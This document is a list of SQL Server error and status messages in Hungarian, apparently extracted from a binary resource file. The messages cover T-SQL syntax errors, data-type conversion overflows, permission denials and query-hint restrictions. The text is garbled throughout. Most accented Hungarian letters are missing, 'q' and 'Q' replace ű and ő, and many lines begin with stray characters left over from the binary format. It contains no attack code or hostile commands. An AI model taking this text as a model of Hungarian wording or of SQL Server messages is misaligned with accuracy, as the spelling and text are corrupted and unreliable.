A szoftverhasznlati mrsi adatok gyqjtse le van tiltva.

A szoftverhasznlati mrsi adatok gyqjtsnek elindtsa sikertelen volt.

Engedlyezve van a szoftverhasznlati mrsi adatok gyqjtse.

A kiszolgl nem tudta betlteni a DCOM sszetevQt. A szoftverhasznlati mrsi adatok gyqjtse nem indthat el a DCOM nlkl.

LFigyelmeztets: %1!s! jelq helyrellthatatlan hiba trtnt a kvetkezQ idQpontban: %2!s!. Jegyezze fel a hibt s az idQpontot, s forduljon a rendszergazdhoz.

lWaitfor utastsban lekrdezs nem engedlyezett.

Helytelen szintaxis tallhat a kvetkezQ kzelben:  %1!s! .

A(z)  %2!s!  kezdetq %1!s! tl hossz. A maximlis hossz %3!s!.

Az ORDER BY zradk elemeinek szerepelnik kell a kivlasztsi listn, ha az utasts UNION, INTERSECT vagy EXCEPT opertort tartalmaz.

Az idzQjel nincs bezrva a kvetkezQ karakterlnc utn:  %1!s! .

Tl sok tblanv szerepel a lekrdezsben. Az engedlyezett maximum %1!s!.

A kvetkezQ oszlopelQtag nem felel meg a lekrdezsben hasznlt tblanvnek vagy aliasnvnek:  %1!s! .

Az ORDER BY zradk %1!s! pozciszma a kivlasztsi lista elemszmnak tartomnyn kvl esik.

Tbb oszlop szerepel az INSERT utastsban, mint a VALUES zradkban megadott rtkek szma. A VALUES zradkban szereplQ rtkek szmnak egyeznie kell az INSERT utastsban megadott oszlopok szmval.

Kevesebb oszlop szerepel az INSERT utastsban, mint a VALUES zradkban megadott rtkek szma. A VALUES zradkban szereplQ rtkek szmnak egyeznie kell az INSERT utastsban megadott oszlopok szmval.

A kvetkezQ utastsnak elsQknt kell szerepelnie egy lekrdezsktegben:  %1!s! .

Vltozk hasznlata nem engedlyezett a kvetkezQ utastsban: %1!s!.

THinyzik a  */  megjegyzslezr jel.

Vltozhoz rtkeket rendelQ utasts esetben a tallzsi md nem rvnyes.

A FOR UPDATE zradk belltott opertorokat tartalmaz utastsok esetben rvnytelen.

A kivlasztsi listn csak egy kifejezst lehet megadni, ha a segdlekrdezs nem EXISTS elemmel van bevezetve.

A(z) %1!s!  %2!s!  neve a maximlisan engedlyezettnl tbb elQtagot tartalmaz. A maximlis szm %3!s!.

A(z) %1!s! paramterszmot s a tovbbi paramtereket  @nv = rtk  formtumban kell tadni. A  @nv = rtk  formtum hasznlata utn az sszes tovbbi paramtert a  @nv = rtk  formtumban kell tadni.

\Az INSERT utastshoz tartoz kivlasztsi lista kevesebb elemet tartalmaz, mint a beszrsi lista. A SELECT rtkek szmnak egyeznie kell az INSERT oszlopok szmval.

TAz INSERT utastshoz tartoz kivlasztsi lista tbb elemet tartalmaz, mint a beszrsi lista. A SELECT rtkek szmnak egyeznie kell az INSERT oszlopok szmval.

A(z) %1!s! paramter csak a(z) %2!s! szintaxissal engedlyezett.

A kteg/eljrs hossza meghaladja a megengedett maximlis %1!s! karaktert.

`A CREATE PROCEDURE nem tartalmaz utastst.

tA Case kifejezsek csak %1!s! szintig gyazhatk be.

Trvnytelen pszeudooszlop ( %1!s! ).

A TOP N vagy a FETCH sorszmllsi rtk nem lehet negatv.

tA(z)  %1!s!  nv ebben a krnyezetben nem megengedett. Az rvnyes kifejezsek llandk, lland kifejezsek s (bizonyos krnyezetekben) vltozk. Az oszlopnevek nem megengedettek.

A(z) %1!s! kitltsi tnyezQ nem rvnyes szzalkos rtk, a kitltsi tnyezQ rtknek 1 s 100 kztt kell lennie.

Aggregtumfggvny nem hajthat vgre aggregtumot vagy segdlekrdezst tartalmaz kifejezsen.

A(z)  %3!s!  %2!s! megadott mrete (%1!s!) meghaladja a brmely adattpushoz engedlyezett maximumot (%4!s!).

(A kvetkezQ cmke mr deklarlva van:  %1!s! . A cmkeneveknek egy-egy lekrdezsktegen vagy trolt eljrson bell egyedieknek kell lennik.

Egy GOTO utastsa a(z)  %1!s!  cmkre hivatkozik, de a cmke nincs deklarlva.

4A kvetkezQ vltoznv mr deklarlva van:  %1!s! . A vltozneveknek egy-egy lekrdezsktegen vagy trolt eljrson bell egyedieknek kell lennik.

WHILE utasts hatkrn kvl BREAK utasts nem hasznlhat.

WHILE utasts hatkrn kvl CONTINUE utasts nem hasznlhat.

xDeklarlni kell a kvetkezQ skalris vltozt:  %1!s! .

Segdlekrdezsben nem megengedett a korrelcis zradk hasznlata.

Egy helyi vltozhoz nem lehet alaprtelmezett rtket rendelni.

|Az IF UPDATE csak CREATE TRIGGER utastsban hasznlhat.

Vltozhoz rtket rendelQ SELECT utasts nem kombinlhat adatbeolvassi mqveletekkel.

|Helytelen szintaxis a(z)  %1!s!  megkts defincijnl.

GROUP BY zradk csoportostsi listjhoz hasznlt kifejezsben nem hasznlhat aggregtum vagy segdlekrdezs.

Az ORDER BY elemeknek meg kell jelennik a kivlasztsi listn, ha meg van adva a SELECT DISTINCT utasts.

$Egy segdlekrdezshez nem sikerlt kiegsztQ tblt foglalni. A tblk szma meghaladja egy lekrdezsben engedlyezett maximumot (%1!s!).

A WHERE zradkban csak akkor szerepelhet aggregtum, ha HAVING zradkban vagy kivlasztsi listn tallhat segdlekrdezsben van megadva, s ha az sszestett oszlop klsQ hivatkozs.

Helytelen idQszintaxis van megadva a WAITFOR kifejezshez hasznlt  %1!s!  idQkarakterlncban.

A WAITFOR kifejezshez hasznlt  %1!s!  idQrtk nem rvnyes. EllenQrizze a dtum s az idQpont szintaxist.

TA(z)  %1!s!  rvnytelen money rtk.

Ugyanaz a nagymretq adatelhelyezsi paramter ( %1!s! ) ktszer van megadva.

A(z) %1!s! paramter rvnytelen hasznlata a(z) %2!s! utastsban.

lA(z) %1!s! nem hasznlhat a kvetkezQben: %2!s!.

hA(z)  %1!s!  nem felismerhetQ %2!s!-paramter.

tHelytelen szintaxis a(z)  %1!s!  kulcssz kzelben.

UPDATE utasts belltott listjban nem szerepelhet aggregtum.

dOUTPUT zradkban nem szerepelhet aggregtum.

A DROP INDEX utastsra vonatkozan meg kell adni a tblanevet s az index nevt.

LA szably nem tartalmaz vltozt.

\A szably egynl tbb vltozt tartalmaz.

rvnytelen kifejezs szerepel egy TOP vagy OFFSET zradkban.

Mindegyik GROUP BY kifejezsnek legalbb egy olyan oszlopot kell tartalmaznia, amely nem klsQ hivatkozs.

xA(z) %1!s! jog nem adhat meg vagy nem vonhat vissza.

A(z)  %1!s!  nem teszi lehetQv az adatbzis nevnek az objektumnv elQtagjaknt val megadst.

pA(z) %1!s! ideiglenes objektumon nem hozhat ltre.

A(z)  %1!s!  lebegQpontos rtk a szmtgp brzolsnak (%2!s! bjt) tartomnyn kvl esik.

A rendezsi listn egynl tbb alkalommal van megadva egy oszlop. A rendezsi listn az oszlopoknak egyedieknek kell lennik.

A tallzsi md INSERT, SELECT INTO s UPDATE utastsokkal nem hasznlhat.

`HOLDLOCK tallzsi mdban nem hasznlhat.

A(z)  %1!s!  oszlop defincijban kell adattpusnak szerepelnie.

pA(z) %1!s! fggvnyhez %2!s! argumentum szksges.

Szmtott oszlop kifejezsben vagy ellenQrzQ megktsben nem szerepelhet aggregtum.

tA FOR BROWSE zradk mr nem tmogatott a nzetekben.

Az IDENTITY fggvny csak akkor hasznlhat, ha a SELECT utastshoz INTO zradk tartozik.

Ebben a krnyezetben nem hasznlhat visszatrsi rtkkel RETURN utasts.

Az OUTPUT paramter nem hasznlhat llandnak trolt eljrs szmra trtnQ tadsakor.

Ebben a(z) %1!s! utastsban tl sok paramter szerepel. A maximlis szm %2!s!.

Az OUTPUT paramter DECLARE, CREATE AGGREGATE s CREATE FUNCTION utastsban nem hasznlhat.

A READTEXT vagy WRITETEXT segdprogramhoz meg kell adni a tbla- s oszlopneveket.

A(z)  %2!s!  oszlop (%1!s!) skljnak a(z) %3!s! s %4!s! kztti tartomnyban kell lennie.

Ugyanolyan tartalomtpus fjlcsoportokhoz egynl tbbszr nem adhat meg a DEFAULT tulajdonsg.

A WRITETEXT utastshoz tmeges formtumban nem rvnyes az adatfolyam.

hHinyzik az adatfolyam a WRITETEXT utastsbl.

A MAX_QUEUE_READERS rvnyes tartomnya 0 s 32767 kztt van.

CREATE DATABASE utastsban naplfjl nem adhat meg legalbb egy adatfjl megadsa nlkl.

|A(z) %1!s! fggvnyhez %2!s! %3!s! argumentum szksges.

Az utastsban rvnytelen dtum vagy idQpont van megadva.

Az SQL-utasts egy rsze tl mlyen van begyazva. rja jra a lekrdezst, vagy bontsa kisebb lekrdezsekre.

A sklnak a pontossggal egyezQnek vagy kisebbnek kell lennie.

A(z)  %1!s!  kezdetq objektum vagy oszlopnv tl hossz. A maximlis hosszsg %2!s! karakter.

A SELECT INTO utasts nem tartalmazhat vltozhoz rtkeket rendelQ SELECT utastst.

TA(z)  %1!s!  nem felismerhetQ %2!s!.

UNION, INTERSECT vagy EXCEPT opertort tartalmaz utastsban a SELECT INTO lekrdezsnek kell elsQknt szerepelnie.

Az EXECUTE tblzatvltozba val beszrskor nem hasznlhat forrsknt.

UNION, INTERSECT vagy EXCEPT opertort tartalmaz utastsok esetben rvnytelen a tallzsi md.

INSERT utasts nem tartalmazhat vltozhoz rtkeket rendelQ SELECT utastst.

A(z)  %1!s!  eljrs vagy fggvny a(z)  %2!s!  paramtert vrja, amely nem volt megadva.

WAITFOR utasts esetben rvnytelen  %1!s!  tpus. A tmogatott adattpusok: CHAR/VARCHAR, NCHAR/NVARCHAR s DATETIME. A WAITFOR DELAY utasts az INT s a SMALLINT adattpusokat tmogatja.

\A(z)  %1!s!  nv nem rvnyes azonost.

`Normalizlsi hiba a(z) %1!s! csompontban.

$A UNION, INTERSECT vagy EXCEPT opertor hasznlatval egyestett minden lekrdezshez egyenlQ szm kifejezsnek kell tartoznia a cllistn.

Operandusok tpustkzse: a(z) %1!s! nem hasznlhat a kvetkezQvel: %2!s!

Hrvnytelen oszlopnv:  %1!s! 

Lrvnytelen objektumnv:  %1!s! .

PNem egyrtelmq oszlopnv:  %1!s! .

A karakterlnc dtum s idQ tpusrl binris/varbinary tpusra val talaktsa sikertelen volt.

Potencilis smasrls. Futtassa a DBCC CHECKCATALOG utastst.

A kifejezs ltrejvQ hossza meghaladja a maximumot. %1!s! a maximlis rtk, %2!s! tallhat.

A megadott rtkek oszlopneve vagy szma nem egyezik a tbladefincival.

lAz eljrs  %2!s!  tpus  %1!s!  paramtert vr.

<Paramterek vannak megadva a(z)  %1!s!  objektumhoz, amely nem fggvny. Ha a paramterek tblatippknt szerepelnek, WITH kulcssz hasznlata szksges.

|A(z)  %1!s!  fggvnyhez nem voltak paramterek megadva.

A trolt eljrsok, fggvnyek, esemnyindtk vagy nzetek begyazsi szintje meghaladta a maximumot (a hatrrtk %1!s!).

Nem tallhat a(z)  %1!s!  tpus. Vagy nem ltezik, vagy n nem rendelkezik a szksges engedllyel.

A(z)  %1!s!  tpus mr ltezik, vagy nincs engedlye a ltrehozshoz.

Aritmetikai tlcsordulsi hiba a(z) %1!s! adattpusnl, az rtk = %2!s!.

A(z)  %1!s!  alaptpus az aliasnv adattpusa esetben nem rvnyes alaptpus.

,A(z) %2!s! tblaazonost, %3!s! oszlopazonost alaprtelmezseknt megadott %1!s! objektumazonost hinyzik, vagy nem alaprtelmezett tpus.

A(z) %2!s! tblaazonost, %3!s! oszlopazonost szablyaknt megadott %1!s! objektumazonost hinyzik, vagy nem alaprtelmezett tpus.

xA(z)  %2!s!  %1!s! megadott paramterei nem rvnyesek.

Tbb utastsbl ll tranzakcin bell nem engedlyezett a(z) %1!s! utasts hasznlata.

A(z)  %1!s!  nem rvnyes fggvny, tulajdonsg vagy mezQ.

A(z)  %3!s!  szerelvnyben tallhat,  %2!s!  tpus  %1!s!  metdus nem ad eredmnyl rtket.

A(z) %1!s! engedlyt nem kapta meg a(z)  %2!s!  objektum ( %3!s!  adatbzis,  %4!s!  sma).

A(z)  %3!s!  objektum  %2!s!  oszlopra (adatbzis:  %4!s! , sma:  %5!s! ) vonatkozan a kvetkezQ engedly megtagadva: %1!s!.

Nincs ilyen alaprtelmezs. Azonost = %1!s!, adatbzis-azonost = %2!s!.

Aritmetikai tlcsordulsi hiba a(z) %1!s! tpusnl, az rtk = %2!s!.

A(z)  %2!s!  tblban tallhat  %1!s!  oszlop nem lehet null.

Nincs elegendQ eredmnyterlet egy pnzrtk tkonvertlshoz a kvetkezQre: %1!s!.

Karakter tpus rtk nem alakthat t pnz tpus rtkk. A karakter tpus rtk helytelen szintaxis.

A karakter adattpusrl pnz tpusra val talakts tlcsordulsi hibt eredmnyezett a pnz tpus rtknl.

Nincs elegendQ eredmnyterlet egy pnzrtk tkonvertlshoz a kvetkezQre: %1!s!.

xIsmtlQdQ  %1!s!  kzstblakifejezs-nv lett megadva.

A(z)  %2!s!  rekurzv lekrdezs  %1!s!  oszlopban nem egyezik a horgony s a rekurzv rsz tpusa.

Az talakts lellt a dtum s/vagy idQpont karakterlncrl val talaktsakor.

A(z) %1!s! adattpus %2!s! tpusra val talaktsa tartomnyon kvli rtket eredmnyezett.

dA(z) %1!s! tpus nem definilt rendszertpus.

A(z) %1!s! rtk ( %2!s! ) talaktsa tlcsordulst idzett elQ egy %3!s! oszlopnl. Hasznljon nagyobb egsz oszlopot.

Az talakts lellt a(z) %1!s! rtk ( %2!s! ) %3!s! adattpusv val talaktsakor.

A(z)  %1!s!  rekurzv lekrdezshez nem volt megadva rgztsi tag.

A(z)  %1!s!  rekurzv lekrdezs rekurzv rszben rgztsi tag tallhat.

A(z) %1!s! rtk ( %2!s! ) talaktsa tlcsordulst idzett elQ egy egsz tpus oszlopnl.

A(z)  %1!s!  tpus nem sszevethetQ. A(z) %2!s! zradkban nem hasznlhat.

4A lekrdezs optimalizlshoz nem sikerlt kiegsztQ tblt foglalni. A tblk szma meghaladja egy lekrdezsben engedlyezett maximumot (%1!s!).

A(z)  %1!s!  rekurzv kzs tblakifejezs nem tartalmaz felsQ szintq UNION ALL opertort.

A(z)  %1!s!  kzs tblakifejezs rekurzv tagjhoz tbb rekurzv hivatkozs tartozik.

PIVOT opertor oszloplistjban nem engedlyezett elQtaggal rendelkezQ oszlopok hasznlata.

PIVOT opertor oszloplistjban nem engedlyezett pszeudooszlopok hasznlata.

8A(z) %1!s! adattpus a(z) %2!s! fggvny esetben rvnytelen. Az engedlyezett tpusok: karakter/varchar, nchar/nvarchar, valamint binris/varbinary.

Nem engedlyezett a(z) %1!s! tpusrl %2!s! tpusra trtnQ implicit konverzi. A lekrdezs futtatsra hasznlja a CONVERT fggvnyt.

dNem hvhat meg metdus a kvetkezQn: %1!s!.

A rendszerkatalgusokon nem engedlyezettek az alkalmi frisstsek.

LA(z) %1!s! tpusrl %2!s! adattpusra val talakts nem engedlyezett ( %3!s!  tbla,  %4!s!  oszlop). A lekrdezs futtatsra hasznlja a CONVERT fggvnyt.

XA(z)  %1!s!  nem felismerhetQ fggvny.

|A(z) %1!s! engedly megtagadva a(z)  %2!s!  adatbzisban.

pMeg kell adni a kivlasztshoz hasznland tblt.

(A(z)  %1!s!  oszlopnv egynl tbbszr van megadva a SET zradkban vagy egy INSERT utasts oszloplistjn. Egyazon zradkon bell egynl tbb rtk nem rendelhetQ hozz egy oszlophoz. Mdostsa a zradkot olyan mdon, hogy az oszlop csak egyszer legyen frisstve. Ha ez az utasts oszlopokat frisst vagy szr be egy nzetbe, akkor az oszlopok aliasnevei elfedhetik a kdban rejlQ ismtlQdst.

A(z) %2!s! opertorban megadott  %1!s!  oszlopnv tkzik a(z) %3!s! argumentumban szereplQ meglvQ oszlopnvvel.

,Az EXECUTE utasts utni tranzakciszm a BEGIN s a COMMIT utastsok nem egyezQ szmra utal. Az elQzQ szm = %1!s!, a jelenlegi szm = %2!s!.

TNem tallhat a(z)  %1!s!  objektum.

PA SELECT INTO utasts ebben az adatbzisban nem futtathat. Az adatbzis tulajdonosnak az sp_dboption parancs futtatsval kell engedlyeznie ezt a lehetQsget.

XA(z)  %1!s!  objektum nem mdosthat.

A(z)  %1!s!  oszlop nem mdosthat, vagy mert szmtott oszlop, vagy mert egy UNION opertor eredmnye.

TAz idQblyeg oszlopa nem frissthetQ.

IdQblyegoszlopba nem szrhat be explicit rtk. Oszloplistrl INSERT utasts hasznlatval zrhat ki az idQblyegek oszlopa, illetve DEFAULT utasts szrhat be az idQblyegoszlopba.

UNPIVOT opertor rtk- vagy viszonytsi oszlopaiban nem megengedett az elQtagok hasznlata.

UNPIVOT opertor rtk- vagy viszonytsi oszlopaiknt nem megengedett a pszeudooszlopok hasznlata.

A(z)  %1!s!  oszlop tbbszr van megadva az UNPIVOT opertor oszloplistjban.

A szveg, ntext s kp adattpusok nem hasznlhatk GROUP BY zradkban.

A szveg, ntext s kp adattpusok rvnytelenek ebben a segdlekrdezsben vagy aggregtumkifejezsben.

A TEXTPTR fggvnyben csak alaptblaoszlopok hasznlata engedlyezett.

%2!s! tpusrl karakterlncc val talaktskor a(z) %1!s! nem rvnyes stlusszm.

A READTEXT utasts beszrt vagy trlt tblkon nem hasznlhat INSTEAD OF esemnyindtn bell.

A szablyok nem kthetQk szveg, ntext vagy kp adattpushoz.

A READTEXT, WRITETEXT s UPDATETEXT utasts nem hasznlhat nzetekkel vagy fggvnyekkel.

xAz INSERTED s DELETED logikai tblk nem frissthetQk.

|A(z) %1!s! utasts esemnyindtn bell nem megengedett.

A PATINDEX fggvny csak karakter, nchar, varchar, nvarchar, szveg s ntext adattpuson mqkdik.

A kvetkezQ adattpus nem llthat ssze, mert nhny argumentumhoz rvnytelen rtk tartozik: %1!s!.

rvnytelen EXECUTE utasts a(z)  %1!s!  objektum s  %2!s!  metdus hasznlatval.

CAST vagy CONVERT: a(z)  %1!s!  tpushoz rvnytelen attribtumok vannak megadva.

Nincs elg hely az eredmny szmra egy kis pnz tpus rtk kvetkezQ tpusra val talaktshoz: %1!s!.

A karakteres rtk nem alakthat t kis pnz tpus rtkk. A karakteres rtk helytelen szintaxis.

A karakter adattpusrl kis pnz adattpusra val talakts tlcsordulsi hibt eredmnyezett a kis pnz tpus rtknl.

A karakterlnc kis dtum s idQ adattpusra val talaktsa sikertelen volt.

xA felhasznlnak nincs engedlye e mqvelet elvgzsre.

A(z) %1!s! engedlyt nem kapta meg a(z)  %2!s!  objektum ( %3!s!  adatbzis).

A lekrdezs olyan klsQ illesztsi krelmet tartalmaz, amely nem megengedett.

A beptett newsequentialid() fggvny  uniqueidentifier  tpus oszlopra vonatkozan DEFAULT kifejezsben csak CREATE TABLE vagy ALTER TABLE utastsban hasznlhat. Nem kombinlhat ms opertorokkal komplex skalris kifejezs alkotsa cljbl.

A(z)  %1!s!  tbla klsQ illesztsi zradk belsQ tagja. Ez nem megengedett, ha a tbla regulris illesztsi zradkban is szerepel.

hA(z) '%1!s!' a kvetkezQ indexbelltshoz engedlyezett tartomnyon kvl esik: '%2!s!'. Az rvnyes rtkeket az sp_configure trolt eljrs '%3!s!' kapcsolja tartalmazza.

Az XML adattpus nem vethetQ ssze s nem rendezhetQ, kivve az IS NULL opertor hasznlata esetn.

A szveg, ntext s kp adattpusok nem vethetQk ssze s nem rendezhetQk, kivve az IS NULL vagy a LIKE opertor hasznlata esetn.

A (z)  %2!s!  tbln (a FROM zradkban megadott) %1!s! indexazonost nem ltezik.

A (z)  %2!s!  tbln (a FROM zradkban megadott) %1!s! index nem ltezik.

A(z)  %1!s!  index nem hasznlhat mutatban a(z)  %2!s!  tbln. Az XML indexek nem megengedettek a mutatkban.

A MAXRECURSION kapcsolhoz megadott %1!s! rtk meghaladja a megengedett maximumot (%2!s!).

Szveg, ntext s kp tpus oszlopok nem hasznlhatk a  beszrt  s  trlt  tblkban.

Szveg, ntext s kp tpus oszlopok nem hivatkozhatk szqrQ trolt eljrsban.

Az eljrshoz vagy fggvnyhez (%1!s!) elgtelen szm argumentum volt megadva.

Az INSERTED vagy a DELETED klnleges tblval GROUP BY ALL utasts nem hasznlhat.

A (z)  %2!s!  tbln (a FROM zradkban megadott)  %1!s!  index le van tiltva, vagy nem online llapot fjlcsoportban tallhat.

A (z)  %2!s!  tbln (a FROM zradkban megadott) %1!s! indexazonost le van tiltva, vagy nem online llapot fjlcsoportban tallhat.

A(z)  %1!s!  tblzat rtkq fggvnyhez nem tartozhat oszlopaliasnv.

A tblzat rtkq metdus ltal eredmnyl adott tblhoz (s oszlopaihoz aliasnevet kell hozzrendelni).

Helytelen szintaxis a  with  kulcssz kzelben. Ha ez az utasts kzs tblakifejezs, xmlnamespaces zradk vagy a kvetsi krnyezetet mdost zradk, az elQzQ utastst pontosvesszQvel kell lezrni.

Az OPTIMIZE FOR zradkban tallhat  %1!s!  fordtskori vltoz rtknek szvegkonstansnak kell lennie.

A(z)  %1!s!  nem felismerhetQ tblamutat-lehetQsg. Amennyiben a szndk szerint tblzat rtkq fggvny vagy a CHANGETABLE fggvny paramtere, gyeljen arra, hogy az adatbzis kompatibilitsi mdja 90-es rtkre legyen belltva.

Az OPTIMIZE FOR zradkban meg van adva a(z)  %1!s!  vltoz, de a lekrdezs nem hasznlja.

pA(z) %1!s! opertor  ALL  verzija nem tmogatott.

,Helytelen szintaxis a(z)  %1!s!  kzelben. A funkci mqkdshez az aktulis adatbzis kompatibilitsi szintjnek magasabb rtkre val lltsa lehet szksges. Tovbbi informcit az ALTER DATABASE utasts SET COMPATIBILITY_LEVEL paramterre vonatkoz sg tartalmaz.

A(z)  %1!s!  tbbrszes azonost nem egyrtelmq. A(z)  %2!s!  s a(z)  %3!s!  oszlop egyarnt ltezik.

A(z)  %1!s!  fggvnyhvs nem egyrtelmq: Ilyen nven felhasznl ltal definilt fggvny s metdushvs is ltezik.

,A megadott utastsra vonatkozan nem hozhat ltre kurzorterv, mert az egyik alaptblbl egy LOB oszlopbl a textptr() fggvny volt hasznlva.

Mindegyik GROUP BY kifejezsnek legalbb egy oszlophivatkozst kell tartalmaznia.

Az OUTPUT INTO zradkhoz tartoz cloldali  %1!s!  nem lehet nzet vagy kzs tblakifejezs.

Az OUTPUT INTO zradk cloldali  %1!s!  tbljhoz nem tartozhat bekapcsolt esemnyindt.

DAz OUTPUT INTO zradk  %1!s!  cloldali tblja nem lehet kapcsolat egyik oldala sem (elsQdleges kulcs, klsQ kulcs).  %2!s!  hivatkozsmegkts tallhat.

\Az OUTPUT INTO zradk cloldali  %1!s!  tbljhoz nem tartozhat bekapcsolt check megkts vagy bekapcsolt szably. %2!s!  ellenQrzsi megkts vagy szably tallhat.

@A DML zradk cloldali  %1!s!  tbljhoz nem tartozhat bekapcsolt esemnyindt, amennyiben az utastst INTO zradk nlkli OUTPUT zradkot tartalmaz.

dA fggvnyhvs nem hasznlhat cloldali tbla egyeztetsre DELETE vagy UPDATE utasts FROM zradkban. Hasznlja helyette paramterek nlkl a(z)  %1!s!  fggvnynevet.

@Helytelen szintaxis a(z)  %1!s!  kzelben. Ha a szndk szerint ez kzs tblakifejezs, az elQzQ utastst explicit mdon, pontosvesszQvel kell lezrni.

<READEXT, WRITETEXT s UPDATETEXT utastsok nem hasznlhatk nzetekkel, tvoli tblkkal, illetve beszrt vagy trlt tblkkal esemnyindtkon bell.

A DEFAULT vagy NULL rtk nem megengedett explicit identitsrtkknt.

A(z)  %1!s!  esemnyindt nem hozhat ltre a(z)  %2!s!  nzeten. Nzeteken nem lehet AFTER esemnyindtkat ltrehozni.

A replikcis szqrQeljrsok nem tartalmazhatnak nagy objektum, nagy rtk, XML vagy CLR tpus oszlopokat.

$Ebben a krnyezetben nem megengedett a(z)  %1!s!  oszlop, s a felhasznl ltal definilt fggvny vagy aggregtum ( %2!s! ) nem tallhat.

Ismeretlen objektumtpus  %1!s!  hasznlata CREATE, DROP vagy ALTER utastsban.

A(z)  %1!s!  tvoli fggvnyhivatkozs nem megengedett, valamint a(z)  %2!s!  oszlopnv nem tallhat, vagy nem egyrtelmq.

A(z)  %1!s!  fggvny nem megengedett az OUTPUT zradkban, mert felhasznli vagy rendszer-adathozzfrst vgez, illetve felttelezhetQleg ilyen hozzfrst vgez. Egy fggvny alaprtelmezs szerint felttelezett adathozzfrsre, amennyiben nem smhoz kttt.

A(z)  %1!s!  paramter nem deklarlhat mint READONLY tulajdonsg, mert nem tbla rtkq paramter.

A tblzat rtkq paramter ( %1!s! ) nem deklarlhat OUTPUT paramterknt.

A(z)  %1!s!  tblavltoz nem adhat t trolt eljrsnak az OUTPUT kapcsolval.

A(z)  %1!s!  eljrshoz nem tartozik  %2!s!  nevq paramter.

A(z)  %1!s!  oszlophoz nem tartozik rvnyes adattpus. Az oszlopok nem lehetnek felhasznl ltal definilt tblatpusak.

%1!s! oszlop, paramter vagy vltoz: nem tallhat a(z) %2!s! adattpus.

A(z)  %1!s!  tblzat rtkq paramtert csak a READONLY belltssal lehet deklarlni.

A(z)  %1!s!  fggvny nem megengedett a(z) %2!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz. Ennek az oka az, hogy a fggvny felhasznli vagy rendszerszintq adathozzfrst vgez, illetve felttelezhetQleg ilyen hozzfrst vgez. Egy fggvny alaprtelmezs szerint felttelezett adathozzfrsre, amennyiben nem smhoz kttt.

HAz INSERT utasts  %1!s!  clja nem lehet nzet vagy kzs tblakifejezs, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

`Az INSERT utasts  %1!s!  cloldali tbljhoz nem tartozhat bekapcsolt esemnyindt, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

Az INSERT utasts  %1!s!  cloldali tblja nem lehet kapcsolat egyik oldala sem (elsQdleges kulcs, klsQ kulcs), ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.  %2!s!  hivatkozsmegkts tallhat.

Az INSERT utasts  %1!s!  cloldali tbljhoz nem tartozhat bekapcsolt szably, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.  %2!s!  szably tallhat.

A MERGE utasts  %1!s!  cloldali tbljhoz nem tartozhat bekapcsolt szably.  %2!s!  szably tallhat.

\Egy OUTPUT INTO zradk  %1!s!  cljhoz az ignore_dup_key belltst tartalmaz index tartozik, ez nem hasznlhat, amennyiben OUTPUT zradk szintn hasznlatban van.

Az INSERT, UPDATE vagy MERGE utastsok closzloplistja nem tartalmazhat egyszerre ritka oszlopot s a ritka oszlopot tartalmaz oszlopkszletet. rja t az utastst, hogy vagy a ritka oszlop, vagy az oszlopkszlet szerepeljen benne, de ne mindkettQ.

Az INSERT, UPDATE vagy MERGE utastsban megadott closzlopok szma meghaladja a megengedett maximumot (%1!s!). Ez a teljes szm tartalmazza az identitst, az idQblyeget, valamint az olyan oszlopokat, amelyekhez alaprtelmezett rtkek tartoznak. A hiba javtshoz mdostsa a lekrdezst gy, hogy egyes ritka oszlopok helyett ritka oszlopkszlet legyen a cljuk.

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %2!s!  tblra vagy nzetre vonatkoz FORCESEEK mutatban szereplQ  %1!s!  nv nem egyezik a kvetkezQ index kulcsoszlopneveivel:  %3!s! .

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %1!s!  tblra vagy nzetre vonatkoz FORCESEEK mutat s a kvetkezQ index ltal megadott %2!s! nem hasznlhat egytt:  %3!s! .

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %1!s!  nzetre vonatkoz FORCESEEK mutatt NOEXPAND mutat nlkl hasznltk. Kldje el jbl a lekrdezst a NOEXPAND mutatval, vagy tvoltsa el a FORCESEEK mutatt a nzetrQl.

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %1!s!  tblra vagy nzetre vonatkoz FORCESEEK mutat tbb keressi oszlopot adott meg, mint a kvetkezQ index kulcsoszlopainak szma:  %2!s! . 

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %1!s!  tblra vagy nzetre vonatkoz FORCESEEK mutat s a kvetkezQ oszloptrindex nem hasznlhat egytt:  %2!s! .

hNem implementlt %1!s! utasts vagy kifejezs.

A(z) %1!s! s %2!s! adattpus nem kompatibilis a(z) %3!s! opertorral.

Az adattpus esetben rvnytelen opertor. Az opertor %1!s!, a tpus %2!s!.

$Az  inserted.%1!s!  oszlophivatkozs nem megengedett, mert olyan alaptblra hivatkozik, amely nem ll mdosts alatt ebben az utastsban.

Tvoli tbla nem hasznlhat DML clknt olyan utastsban, amely OUTPUT zradkot vagy begyazott DML utastst tartalmaz.

A(z) %1!s! nem hasznlhat a PIVOT opertorban, mert nem lland a NULL rtkek szempontjbl.

BelsQ hiba trtnt. A(z) %1!s! fjl (sor: %2!s!) karakterlncrutinja HRESULT 0x%3!s! rtkkel lellt.

Az ORDER BY listn konstans kifejezs fordult elQ, helye: %1!s!.

A(z)  %1!s!  oszlop nem frissthetQ, mert leszrmaztatott vagy konstans.

A(z)  %1!s!  belsQ fggvny nem tmogatja a megfeleltetett paramtereket vagy segdlekrdezseket.

TAz UPDATE hasznlata nem megengedett, mert az utasts a(z)  %1!s!  nzetet frissti, amely illesztsben szerepel, s INSTEAD OF UPDATE esemnyindt tartozik hozz.

TA DELETE hasznlata nem megengedett, mert az utasts a(z)  %1!s!  nzetet frissti, amely illesztsben szerepel, s INSTEAD OF DELETE esemnyindt tartozik hozz.

A(z)  %1!s!  szolgltatsi vrlista nem frissthetQ kzvetlenl.

A TOP hasznlata nem megengedett particionlt nzettel szembeni UPDATE vagy DELETE utastsban.

XA CLR tpus oszlopokat feltr objektumok nem megengedettek az elosztott lekrdezsekben. A(z)  %1!s!  tvoli objektum elrshez hasznljon tovbbtott lekrdezst.

